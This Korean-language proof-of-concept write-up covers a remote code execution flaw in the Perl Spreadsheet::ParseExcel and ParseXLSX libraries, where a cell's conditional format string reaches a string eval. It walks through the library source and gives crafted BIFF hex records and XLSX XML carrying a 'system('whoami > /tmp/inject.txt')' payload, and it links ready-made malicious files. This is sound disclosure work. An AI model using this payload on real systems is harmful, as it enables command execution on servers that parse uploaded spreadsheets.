
ParseExcel 라이브러리와 의존 라이브러리인 ParseXLSX의 RCE 취약점에 대한 PoC
TL;DR: 형식 문자열 파싱 로직에서 발생하는 RCE.
익스플로잇의 근본 원인은 Utility.pm에서 검증되지 않은 사용자 입력에 대해 eval을 호출하는 데서 비롯됩니다.
# Uitlity.pm
sub ExcelFmt {
my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;
return $number unless $number =~ $qrNUMBER;
my $conditional;
if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
$conditional = $1;
$format_str = $2;
}
#...
if ($conditional) {
# TODO. Replace string eval with a function.
$section = eval "$number $conditional" ? 0 : 1;
}
#...
}
제가 조사한 바에 따르면, 이 흐름의 현재 구현은 적절한 검증이 부족하며, 비교 로직을 처리하는 데 eval을 사용하는 것은 이 경우 지나치게 과한 방식입니다. 이 때문에 Excel 파일에서 데이터를 읽는 데 사용되는 와 가 모두 RCE에 취약합니다.
ParseExcel::parseParseXLSX::parse$format_str은 어디에서 오는가?ValFmt이 ExcelFmt을 호출할 가능성이 가장 높으므로 이 메서드에 대해 더 자세히 설명하겠습니다.
sub ValFmt {
my ( $oThis, $oCell, $oBook ) = @_;
my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );
if ( $oCell->{Type} eq 'Text' ) {
$Dt =
( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
: '';
return $Dt;
}
else {
$Dt = $oCell->{Val};
$Flg1904 = $oBook->{Flg1904};
my $sFmtStr = $oThis->FmtString( $oCell, $oBook );
# where RCE lies => $oCell->{Type} must be either "Date" or "Number"
return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} );
}
}
$oCell->{Type}이 Date 또는 Number이면 ExcelFmt이 호출됩니다.
$format_str 값은 다른 메서드인 FmtString에서 반환됩니다.
sub FmtString {
my ( $oThis, $oCell, $oBook ) = @_;
my $sFmtStr =
$oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
$oBook ); # maps to the correct format string
#...
unless ( defined($sFmtStr) ) {
# assigns default format string depending on the value, can ignore
#...
}
return $sFmtStr;
}
또 다른 함수가 호출되므로 FmtStringDef도 살펴보겠습니다.
sub FmtStringDef {
my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping
# More with assigning default format string, can ignore
#...
}
모든 변수가 명확하므로 공격 벡터는 다음과 같이 정리할 수 있습니다:
$iFmtIdx로 악성 형식 문자열을 주입합니다.$oBook->{Format}[$cellFmtIdx]이 $iFmtIdx를 가리키도록 만듭니다.$oCell->{FormatNo} = $cellFmtIdx).
![[flow 1.png]]아래 섹션에서는 페이로드가 셸 코드를 eval 명령까지 전파하는 방법에 대해 자세히 설명하겠습니다. ParseExcel을 사용한 .xls 파일 파싱과 ParseXLSX를 사용한 .xlsx 파일 파싱에 대한 2개의 섹션이 있습니다.
시연을 위해, whoami를 실행하고 결과를 /tmp/inject.txt 파일에 저장하는 직접 제작한 악성 Excel 파일(.xls 및 .xlsx)의 링크는 아래와 같습니다.
https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b
아래와 같이 ParseExcel::parse를 사용하는 간단한 Perl 프로그램을 예로 들어보겠습니다. 데이터를 가져오기 전에 파싱이 수행되는 동안 RCE가 발생합니다.
use strict;
use Spreadsheet::ParseExcel;
my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");
Excel 97 바이너리 파일은 BIFF 레코드라는 바이너리 데이터 청크로 구성됩니다. 각 레코드는 opCode(리틀엔디언)라는 헤더로 시작하며, 그다음 레코드 길이와 실제 데이터가 이어집니다.
sub QueryNext {
my ( $q ) = @_;
if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
return 0;
}
my $data = substr( $q->{stream}, $q->{streamPos}, 4 );
( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );
# No biff record should be larger than around 20,000.
if ( $q->{length} >= 20000 ) {
return 0;
}
if ( $q->{length} > 0 ) {
$q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
}
else {
$q->{data} = undef;
$q->{dont_decrypt_next_record} = 1;
}
if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
# Handles with decryption
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
# not implemented
return 0;
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {
}
$q->{streamPos} += 4 + $q->{length};
return 1;
}
그 후, 레코드 유형에 해당하는 핸들러가 해당 BIFF 레코드 데이터를 추출하는 데 사용됩니다.
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
$self->{FuncTbl}->{$record}
->( $workbook, $record, $record_length, $record_header );
}
형식 문자열은 opCode = 0x41E인 _subFormat에 의해 처리됩니다.
sub _subFormat {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
my $sFmt;
if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
$sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
$sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
}
else {
$sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
}
my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );
# Excel 4 and earlier used an index of 0 to indicate that a built-in format
# that was stored implicitly.
if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
$format_index = keys %{ $oBook->{FormatStr} };
}
$oBook->{FormatStr}->{$format_index} = $sFmt;
}
제 .xls 파일에서 어떤 BIFF 버전이 사용되는지 확실하지 않았지만 바이너리 파일의 데이터에 따르면 else 분기(> verBIFF5)와 일치해야 합니다.
최신 BIFF 버전의 형식 문자열 레코드 구조는 다음과 같아야 합니다: 1E 04 [레코드 길이 - 2바이트] [형식 문자열 인덱스 - 2바이트] [형식 문자열 길이 - 1바이트] [문자열 플래그 - 2바이트] [형식 문자열 내용]
올바른 구조를 따르면 .xls 파일에 임의의 형식 문자열을 주입할 수 있습니다.
PoC에서 주입한 형식 문자열의 실제 BIFF 레코드(형식 문자열 인덱스는 \x00\xa5)입니다.
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73 ..1...,..[>123;s
^^^^
format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20 ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427 /tmp/inject.txt'
00000030: 295d 3132 33 )]123
셀 형식은 형식 문자열, 스타일, 글꼴 등 셀의 많은 속성을 정의합니다. 하나의 셀 형식은 BIFF 레코드에 형식 문자열의 인덱스를 포함하여 하나의 형식 문자열에 연결할 수 있습니다. 이 로직은 _subXf에 의해 처리됩니다.
sub _subXF {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
#...
if ( $oBook->{BIFFVersion} == verBIFF4 ) {
#...
}
elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );
( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
= unpack( "v7Vv", $sWk );
#...
}
else {
( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
unpack( "v8", $sWk );
#...
}
push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
FontNo => $iFnt,
Font => $oBook->{Font}[$iFnt],
FmtIdx => $iIdx, # <- the index that points to format string index
#...
);
}
우리의 BIFFVersion이 BIFF5보다 크므로 조건이 첫 번째 분기에 해당하지 않아야 합니다. 나머지 두 분기의 경우 $iIdx가 BIFF 데이터에서 두 번째 워드라는 것을 알고 있습니다. 그래서 이 단계도 수행하기 쉬운 것입니다.
PoC에서 사용한 셀 형식의 실제 BIFF 레코드입니다.
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000 .......... .....
^^^^
format string index
00000010: 0000 0000 0000 c020 .......
또한 셀 형식은 목록에서 해당 인덱스로 식별되므로 첫 번째 레코드를 수정했고, 제 셀 형식의 인덱스는 0이어야 합니다.
셀이 형식을 적용하려면 셀의 BIFF 레코드에 셀 형식의 ID가 포함되어야 합니다. 그러나 앞서 언급했듯이 유형이 Number 또는 Date인 셀만 RCE를 트리거할 수 있으므로 PoC에서는 날짜 유형의 셀을 사용하겠습니다(RK BIFF 레코드로 참조).
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L918-L939
sub _subRK {
my ( $workbook, $biff_number, $length, $data ) = @_;
my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
my $number = _decode_rk_number( $rk_number );
_NewCell(
$workbook, $row, $col,
Kind => 'RK',
Val => $number,
FormatNo => $format_index,
Format => $workbook->{Format}->[$format_index],
Numeric => 1,
Code => undef,
Book => $workbook,
);
#...
}
셀 형식을 가리키는 인덱스는 이제 레코드의 세 번째 워드이므로, 이 워드를 \x00으로 null 처리하기만 하면 됩니다.
PoC에서 사용한 날짜 셀의 실제 BIFF 레코드입니다.
00000000: 7e02 0a00 0000 0000 0000 201a e240 ~......... ..@
^^^^
format index
참고로 _subRK 메서드는 아직 유형 Date를 명시적으로 정의하지 않습니다. 유형 검사는 대신 chkType에서 구현됩니다.
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L166-L181
sub ChkType {
my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
if ($iNumeric) {
if ( ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
|| ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
{
return "Date";
}
else {
return "Numeric";
}
}
else {
return "Text";
}
}
$iNumeric이 1로 설정되어 있으므로 유형이 Text가 아님이 확실합니다.
마지막으로 새 Cell 객체를 초기화하면 ValFmt이 호출되고 실행 체인을 따라 셸 코드가 eval 메서드까지 전파됩니다.
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel.pm#L2375-L2433
.xlsx 파일 작업은 평문(xml 형식) 데이터를 직접 수정할 수 있으므로 훨씬 쉽습니다.
아래와 같이 ParseXLSX::parse를 사용하는 간단한 Perl 프로그램을 예로 들어보겠습니다. 데이터를 가져오기 전에 파싱이 수행되는 동안 RCE가 발생합니다.
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;
my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");
XLSX 파일은 통합 문서의 특정 유형의 데이터를 각각 포함하는 많은 xml 파일을 압축하는 zip 파일입니다. 아래는 폴더 구조의 예입니다:
|- [Content_Types].xml
|- _rels
|- docProps
|- app.xml
|- core.xml
|- xl
|- _rels
|- workbook.xml.rels
|- styles.xml <--- Format strings & cell formats
|- workbook.xml
|- sharedStrings.xml
|- theme
|- theme1.xml
|- worksheets
|- sheet1.xml <--- Cell values
형식 문자열은 xl/styles.xml 파일의 <numFmts> 태그 아래에 포함되고, 셀 형식은 <cellXfs> 태그 아래에 정의됩니다.
https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L630-L923
sub _parse_styles {
# ...
my %format_str = (
%default_format_str,
(map {
$_->att('numFmtId') => $_->att('formatCode')
} $styles->find_nodes('//s:numFmts/s:numFmt')),
);
# ...
my @format = map {
my %opts = (
%default_format_opts,
%ignore,
);
# ...
$opts{FmtIdx} = 0+($xml_fmt->att('numFmtId')||0);
# ...
Spreadsheet::ParseExcel::Format->new(%opts)
} $styles->find_nodes('//s:cellXfs/s:xf');
# ...
return {
FormatStr => \%format_str,
Font => \@font,
Format => \@format,
}
}
형식 문자열을 주입하려면 formatCode가 형식 문자열이고 numFmtId가 원하는 정수 값인 <numFmt> 태그를 추가해야 합니다. 여기서는 123을 사용했습니다.
그런 다음 numFmtId 속성이 선택한 ID(123)인 <xf> 셀을 하나 더 추가하여 형식 문자열에 매핑합니다.
PoC에서 사용한 최종 xml 데이터는 다음과 같습니다.
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
<numFmts count="1">
<!-- injected format string -->
<numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
</numFmts>
...
<cellXfs count="4">
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
<alignment horizontal="center"/>
</xf>
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
<!-- injected cell format -->
<xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
</cellXfs>
...
</styleSheet>
sub _parse_sheet {
my $sheet_xml = $self->_new_twig(
twig_roots => {
#...
's:sheetData/s:row' => sub {
my ( $twig, $row_elt ) = @_;
for my $cell ( $row_elt->children('s:c') ){
my $type = $cell->att('t') || 'n';
my $val = $val_xml ? $val_xml->text : undef;
#...
elsif ($type eq 'n') {
$long_type = 'Numeric';
$val = defined($val) ? 0+$val : undef;
}
elsif ($type eq 'd') {
$long_type = 'Date';
}
# other $type results into $long_type = 'Text'
#...
my $format_idx = $cell->att('s') || 0;
my $format = $sheet->{_Book}{Format}[$format_idx];
die "unknown format $format_idx" unless $format;
my $cell = Spreadsheet::ParseExcel::Cell->new(
Val => $val,
Type => $long_type,
Merged => undef, # fix up later
Format => $format,
FormatNo => $format_idx,
($formula
? (Formula => $formula->text)
: ()),
Rich => $Rich,
);
$cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
$cell, $sheet->{_Book}
);
}
}
}
)
}
이 라이브러리에서 셀 데이터를 읽는 로직은 더 직관적이며, xml 태그 속성에서 유형과 값을 직접 할당할 뿐입니다. $oCell->{Type}이 Date 또는 Numeric이어야 하므로 속성 t를 d 또는 n으로 설정하기만 하면 됩니다. 셀을 셀 형식에 매핑하려면 속성 s를 셀 형식의 인덱스(3)로 설정합니다.
PoC에서 사용한 최종 xml 데이터는 다음과 같습니다.
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
...
<sheetData>
<row r="1" spans="1:2" x14ac:dyDescent="0.2">
<c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
<v>0</v>
</c>
<c r="B1" s="2"/>
</row>
</sheetData>
...
</worksheet>
`